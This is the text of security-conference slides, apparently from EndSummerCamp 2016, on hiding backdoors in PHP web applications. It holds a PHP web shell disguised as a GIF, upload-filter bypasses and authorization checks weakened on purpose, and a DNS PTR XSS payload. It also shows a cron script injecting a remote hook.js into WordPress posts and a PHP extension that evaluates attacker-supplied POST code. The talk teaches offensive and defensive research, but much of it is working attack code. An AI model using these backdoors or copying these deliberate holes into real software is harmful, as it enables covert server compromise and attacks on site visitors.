26
PHP BACKDOOR: THE RISE OF THE VULN Sandro "guly" Zaccarini www.endsummercamp.org

PHP Backdoor: The rise of the vuln

Embed Size (px)

Citation preview

PHP BACKDOOR: THE RISE OF THE VULN

Sandro "guly" Zaccarini

www.endsummercamp.org

guly@EndSummerCamp 2k16

whoami

▸ Sandro "guly" Zaccarini

▸ born purple

▸ happy to build and break

guly@EndSummerCamp 2k16

agenda

▸ previous work

▸ web backdoor ecosystem

▸ induced web vulnerabilities^^~pseudocode

guly@EndSummerCamp 2k16

previous work

▸ php backdoor obfuscation@ESC2k15

▸ how to execute code with php function

▸ how to hide/obfuscate a backdoor

guly@EndSummerCamp 2k16

backdoor context: requirements

▸ going in through port 80/443 is mandatory

▸ going out isn't

▸ has to be "hidden"

▸ must descend on application context

▸ should give privileged access

▸ could also be asynchronous

▸ must descend on application context

guly@EndSummerCamp 2k16

backdoor context: environment

▸ application layer: functions, like login and security check

▸ service layer: web server, application server, dbms

▸ operating system: permission, extension, configuration

guly@EndSummerCamp 2k16

backdoor context: application layer

▸ turns a "secure" webapp into a vulnerable one

▸ normally just needs read/write on docroot

▸ "easily" detectable if code is versioned

▸ doesn't survive to a good code review

▸ ...but survives to most coders' review

guly@EndSummerCamp 2k16

backdoor context: application layer

▸ file upload filters

▸ authorization routines

▸ sanity checks

▸ known buggy functions

▸ webapp configuration files

guly@EndSummerCamp 2k16

// fixed upload vulnerability: check if file type is an image if (!(exif_imagetype($file)) { echo "file is not an image\n"; exit; } doUpload($file);

File upload exif_imagetype

shell.php: GIF89a[CUT]<?php exec($_GET['cmd'])

Comment: Pretend that doUpload() simply upload files, with no further check.

guly@EndSummerCamp 2k16

//assume just .php is interpreted as php $blacklist = array('php'); $ext = strtolower(end(explode('.', $file))); if (in_array($ext,$blacklist)) { echo "extension blacklisted"; exit; } else { doUpload($file); }

File upload extension with blacklist

shell.PhP

doUpload(strtolower($file));

guly@EndSummerCamp 2k16

$whitelist = array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html", ".pdf",".mp3",".avi",".mpg",".ppt",".pps");

$ext = strtolower(substr($filename,-4)); if (in_array($ext,$whitelist)) { doUpload($file); }

File upload extension with whitelist

shell.phtml

guly@EndSummerCamp 2k16

$whitelist = array("jpg","png"); $ext = strtolower(end(explode('.', $file))); if (!(in_array($ext,$whitelist))) { echo "invalid file extension\n"; exit; } // avoid error on writing files with name longer than filesystem limits if ((strlen($file)) > 255) { $file = substr($file,0,255); } doUpload($file);

File upload name length

Ax251.php.jpg

guly@EndSummerCamp 2k16

Authorization misuse

/* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); }

alter table users modify role varchar(2); update users set role = '0e';

Comment: getRole, listUsers,listAdmins are functions present in admin dashboard

this is a login page

guly@EndSummerCamp 2k16

Authorization misuse[bis]

/* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); }

alter table users modify role varchar(2); update users set role = 'a';

if ($role > 0) { isUser(); } else { isAdmin(); }

Comment: if we switch the if statement, we aren't even vulnerable to type juggling and code analysis won't tell you that you shouldn't use ==

guly@EndSummerCamp 2k16

function doLogin() { if ($rememberme) { rememberMe($user) }; doStuff(); } function rememberMe($user) { $value = hash(sha256,$user+time()); setcookie('rememberme',$value,time()+(60*60*24*365)); } function showLogin() { ?> <html><head><script src=js/loginpage.js></script></head><body> <form id=loginform> <!-- don't use, it's unsafe!! <label><input type=checkbox id=rememberme value=rememberme>Remember me</label> --> </form></body></html> <?php }

/* js/loginpage.js */ $(document).ready(function(){ $('dothings'); $('#loginform').on('submit', function(e){ $('.rememberme')[0].checked = true; this.submit(); }); });

Remember me cookie

guly@EndSummerCamp 2k16

backdoor context: service layer

▸ normally quite hidden

▸ and not so much detectable

▸ ...if you don't alter application codebase

▸ keeps logs quite clean

▸ almost everytime survives to code review

guly@EndSummerCamp 2k16

backdoor context: service layer

▸ php.ini: register_globals on (PHP <5.4)

▸ php.ini: open_basedir+set_include_path

▸ .htaccess: AddType application/x-httpd-php .jpeg

▸ database tampering: CHARSET GBK

guly@EndSummerCamp 2k16

/* * php.ini: * include_path .= "/var/www/html/uploads/" * open_basedir .= "/var/www/html/uploads/" */

function show($context) { // (pretend) it's safe because of open_basedir and // include_path = "/var/www/context/" // docroot /var/www/html/ include $context.'.php'; // $context.php has specific run() foreach context run($stuff); } function upload($file) { // safe because /var/www/html/uploads php_flag engine off doUpload($file); }

include_path tamperingupload guly.php gu.ly/?context=guly

http://gu.ly/?context=news http://gu.ly/?context=about

guly@EndSummerCamp 2k16

DNS PTR XSS

function updateLogged($user) { sanitize($user); $ip = $_SERVER['REMOTE_ADDR']; $resolver = new Net_DNS2_Resolver(); $res = $resolver->query($ip, 'PTR'); /* no need to sanitize DNS response, RFC does */ $host = $res->answer[0]->rdata; $sql = "INSERT INTO tracking (usr,ip,host) value"; $sql .= "('".$user."','".$ip."','".$host."')"; }

function showLogged($id) { /* input from database already sanitized at updateLogged */ list ($user,$ip,$host) = getRecords($id); echo "User ".$user.", last login from ".$ip."(".$host.")\n"; }

PTR: gu.ly<script/src=//gu.ly/s.js></script>

guly@EndSummerCamp 2k16

DB injected XSS

include "/var/www/html/wordpress/wp-config.php"; $blink = '<script src="http://gu.ly/hook.js"></script>';

$link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME); $res = mysqli_query($link,"SELECT ID,post_content as pc FROM wp_posts ORDER BY ID DESC LIMIT 1"); $row = $res->fetch_assoc();

if (!(strpos($row['pc'],$blink))) { $query = 'UPDATE wp_posts set post_content="'.mysqli_real_escape_string($link,$row['pc']);

$query .= mysqli_real_escape_string($link,$blink).'" WHERE id ="'.$row["ID"].'"'; mysqli_query($link,$query); } mysqli_close($link);

/etc/cron.daily/wordpress#!/usr/bin/php

guly@EndSummerCamp 2k16

backdoor context: operating system

▸ doesn't always need root privileges, but mostly

▸ detectable by sys/network admin, but not by devs

▸ logs should be clean

▸ ...monitoring system shouldn't

▸ could be removed by sys update

guly@EndSummerCamp 2k16

backdoor context: operating system

▸ local SMTP relay

▸ redirect network flows

▸ buggy^Wimproved webserver extension

guly@EndSummerCamp 2k16

phpbd.so

PHP_RINIT_FUNCTION(phpbd); zend_module_entry phpbd_ext_module_entry = { STANDARD_MODULE_HEADER, "a safe ext", NULL, NULL, NULL, PHP_RINIT(phpbd), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(phpbd_ext);

PHP_RINIT_FUNCTION(phpbd) { char* method = "_POST"; char* evocate = "evocate"; zval** arr; char* code;

if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, evocate, strlen(evocate) + 1, (void**)&val) != FAILURE) { code = Z_STRVAL_PP(val); zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); } } return SUCCESS; }

POST evocate=system()/etc/php.ini: extension=phpbd.so

guly@EndSummerCamp 2k16

mysqli.so

/* {{{ proto bool mysqli_stmt_execute(object stmt) Execute a prepared statement */ PHP_FUNCTION(mysqli_stmt_execute) { MY_STMT *stmt; zval *mysql_stmt; if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), "O", &mysql_stmt, mysqli_stmt_class_entry) == FAILURE) { return; } MYSQLI_FETCH_RESOURCE_STMT(stmt, &mysql_stmt, MYSQLI_STATUS_VALID); /**/ // INSERT INTO sessions SET (userid,group,sessionid,expire) if (stmt->param.var[1] == '0') { //role 0 auth as admin sendMail(stmt->param.var[2]); }

100% non-working code! (php mysqli_api.c)

guly@EndSummerCamp 2k16

backdoor examples

▸ File upload filter by exif_imagetype() (A)

▸ File upload extension with blacklist (A)

▸ File upload extension with whitelist (A)

▸ File upload filename length (A)

▸ Authorization misuse (A)

▸ Remember me cookie (A)

▸ include_path tampering (S)

▸ DNS PTR XSS (S)

▸ DB injected XSS (S)

▸ php ext backdoor (OS)

▸ mysqli.so tampering (OS)

guly@EndSummerCamp 2k16

thanks!

▸ Acta est fabula, plaudite!

▸ Wait wait, any question?

▸ feedback please!

[email protected]

▸ @theguly